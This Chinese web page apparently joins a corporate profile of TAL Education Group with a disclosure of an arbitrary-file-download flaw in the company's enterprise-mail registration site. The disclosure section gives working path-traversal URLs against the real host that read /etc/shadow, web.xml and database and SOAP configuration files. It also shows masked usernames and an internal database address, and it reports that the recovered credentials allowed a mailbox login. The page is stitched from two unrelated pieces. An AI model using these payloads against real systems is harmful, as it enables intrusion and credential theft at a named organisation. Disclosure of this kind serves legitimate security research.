好未来企业邮箱

日期: 栏目:源码 浏览:1818 评论:0
概述
好未来是一家中国领先的教育科技企业,以科技驱动、人才亲密、品质领先为发展的核心目标。自创立以来,一直致力于促进科技互联网与教育融合,为孩子创造更美好的学习体验。


TAL Education Group 好未来 (NYSE:XRS),英文缩写:TAL(Tomorrow Advancing Life),是一家中国领先的教育科技企业,以科技驱动、人才亲密、品质领先为发展的核心目标。自创立以来,一直致力于促进科技互联网与教育融合,为孩子创造更美好的学习体验。

一、简介

好未来的前身即学而思,2013年8月19日正式更名为好未来,好未来集团的新logo、新域名也一并发布,集团全新定位为“一家用科技与互联网来推动教育进步的公司”,实现线下教育与线上教育的融合,通过实施多品牌发展战略,不断创新和突破,为孩子们创设更美好的学习体验,并提出了“成为受尊敬的教育机构”的愿景。

10余年来,好未来专注在中小学及幼儿教育领域,旗下拥有五个主品牌:学而思培优、智康1对1、摩比思维馆、学而思网校和家长帮。其中,学而思培优作为K12高端培优教育平台,下设三个子品牌:学而思理科、乐加乐英语和东学堂语文。好未来在全国19个城市设有分校,每年有90余万学员走进好未来的课堂,另有47万学员通过网校获取优质的教育资源。另外,好未来旗下的家长帮是国内覆盖面广、可信度高的教育互联网信息平台,月度覆盖独立用户数峰值超过3000万。

二、更名

集团更名后,学而思培优事业部下面分管三个品牌: 学而思理科、乐加乐英语、东学堂语文。其他四个事业部保持不变。这样,集团旗下目前有七个子品牌:分别是:学而思理科、乐加乐英语、东学堂语文、智康1对1、学而思网校、摩比思维馆、E度教育网 。

2010年,学而思正式登陆美国纽交所挂牌交易,成为国内首家在美国上市的中小学教育培训机构

三、好未来CEO,张邦鑫

张邦鑫是80后创业者。2003年在北大读硕士研究生期间与同学合伙创办奥数网,两年后正式将机构取名为学而思,专门从事中小学课外辅导培训。2011年,张邦鑫荣获“中国教育年度风云人物”、“中国民办教育行业领导者”。

四、企业文化

ICS 智能教学系统 让课堂更有趣

好未来不断尝试将最先进的技术运用到兴趣教育的理念中。2010年11月,好未来把教研成果和IT成果结合,全面推出ICS智能教学系统。投入200多名系统研发和课件设计人员,历时三年,耗资4000万之巨。我们在2011年又推出了ICS2.0,把静态的PPT升级为动画课程。ICS可以实现视频、音频、Flash、动漫等多样化形式,让教学更为生动直观,提升孩子兴趣。

互联网改变教育

好未来是国内最早以互联网作为教育平台和传播渠道的企业之一,打造中小幼教育专业门户网站群——e度教育网。从2003年创办奥数网至今,e度教育网已拥有育儿网、幼教网、中考网、高考网、作文网、英语网、留学网等多个专业媒体,以及e度论坛、e度空间、雪地网等大型互动社区。

全新教育理念 素质与应试的平衡

2012年,好未来提出了全新教育理念:“激发兴趣、培养习惯、塑造品格”。 激发兴趣:兴趣是最好的老师,我们通过激发学生的学习兴趣,帮助学生树立信心,培养学生的成就感,让学生的学习充满动力; 培养习惯:通过培养学生好的学习习惯和生活习惯帮助学生取得全面的进步; 塑造品格:通过学生的思维模式的塑造,改变其行为习惯,进而全面作用于学生的学习动力、学习环境和学习能力,最终全面提升学生的综合素质。

差异化定位 ,不做第二个新东方

2003年的培训行业,很多都以新东方为标杆,要复制新东方的模式与机制。但好未来从建立的第一天就认为,中国不需要第二个新东方,所以确立了自己的差异化定位。大家做英语,学而思做理科;大家做大班,好未来做小班;大家做补差、好未来做培优,为学有余力的优秀学生提供进一步提高的辅导。 开放课堂与退费制度,只为成就客户

一直以来好未来都秉承一个理念,就是收了家长的钱就要带来效果,否则就是偷钱抢钱。为此,好未来开创性地把家长请进了教室,允许家长随堂听课,并且授课效果不满意可在2/3课程结束之前随时按比例退费。把选择权交给学生和家长,把退费的压力留给自己,逼自己狠抓教学质量。这慢慢发展成为好未来的核心价值观——成就客户。

创新基金

好未来集团为创新项目设立的一笔专项基金,并由创新管理委员会统一管理。主要定位是长期支持来自集团内部不同组织、不同领域的优质创新项目,使其在正规财务预算、专业团队等优质资源匹配下孵化并实现落地。

未来世界俱乐部

好未来集团下属的民间俱乐部组织,主要定位于支持鼓励好未来员工进行与工作、教学相关的创新。通过各个领域的线上线下活动,激发员工提出优秀的创新点子,孵化优异的创新项目,以此提升并优化员工的探索、发现及创新精神,培育集团的创新型土壤,营造创新的文化氛围。

学而思产品经理俱乐部

由集团高层及学而思产品经理通道牵头组织,旨在为集团培养优秀互联网产品经理人才的俱乐部在2012年6月成立了。在日后的工作中,分别通过学而思内部案例分享与外部经验学习,加强产品团队的理论知识与实践认知,从而提升团队的产品意识,提高产品的综合体验 。同时,通过梳理内部产品团队的工作内容,设定产品团队基于胜任力模型的职级体系和课程体系。最后通过培训体系的建立与实施,结合招聘与人才流动管理,逐步锻炼出一支业界一流的产品团队。 理想公设

在学而思,有这么一群创造者,他们用色彩、鼠标和代码,设计理想;用色彩、图片和动画传递信息,将课程和知识精彩呈现。 “理想公设”是一个培优全体技术伙伴的俱乐部,凝聚大家的智慧,提供交流技术的平台,共同学习,一起成长。 理想公设有不定期的内部交流,每一个成员都是主角,有不同的擅长,每个人都是分享者;理想公设还会带着大家外部交流,看看不同的作品和设计理念,及组织不定期的活动等。理想公设将会是一个开放的平台,为技术伙伴创造开放融合的工作氛围,共同体验创造的乐趣,快乐工作,快乐生活。

五、邮箱

简要描述:

任意文件下载漏洞,可获取网站源代码、数据库连接配置文件、系统配置文件、shadow等,进而获取某管理员邮箱。

详细说明:

#1、存在问题的页面

好未来企业邮箱注册系统

插件下载:http://youxiang.100tal.com/regmail/download.action?file=plugin/MacAddressViewer/MacAddressViewer.msi

file参数未过滤,导致任意文件下载。

#2、任意文件下载

仅以部分文件为例:

源代码:http://youxiang.100tal.com/regmail/download.action?file=index.jsp

shadow:http://youxiang.100tal.com/regmail/download.action?file=/plugin/../../../../../../etc/shadow

得到服务器的部分用户,密文就不贴上来了:l***e zh***an m***yuan l***a h***iao l***ei

web.xml:http://youxiang.100tal.com/regmail/download.action?file=/plugin/../WEB-INF/web.xml

#3、继续挖掘

读取web.xml,又进而得到以下文件:

http://youxiang.100tal.com/regmail/download.action?file=/plugin/../WEB-INF/classes/config/core/applicationContext.xml

http://youxiang.100tal.com/regmail/download.action?file=/plugin/../WEB-INF/classes/datasource.properties

http://youxiang.100tal.com/regmail/download.action?file=/plugin/..//WEB-INF/classes/prop.properties

其中,datasource.properties保存了数据库连接配置:

jdbc.url = jdbc:mysql://192.168.1.111:3409/regmail?zeroDateTimeBehavior=convertToNull&characterEncoding=UTF-8

jdbc.user = RegMail

jdbc.password = 略

prop.properties保存了部分系统配置,包括员工中心soap接口、管理员邮箱(发信邮箱?未验证)等:

#员工中心接口地址根路径

user.center.rootpath=http://oas.xueersi.org/

#员工中心soap接口fsite值

usercenter.soap.fsite=5

#员工中心soap接口uskey值

usercenter.soap.uskey=略

得到的邮箱和密码可登录:(未翻看邮件,仅截图组织通讯录证明危害)


评论留言

我要留言

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。发布前请先查看评论规则:点我查看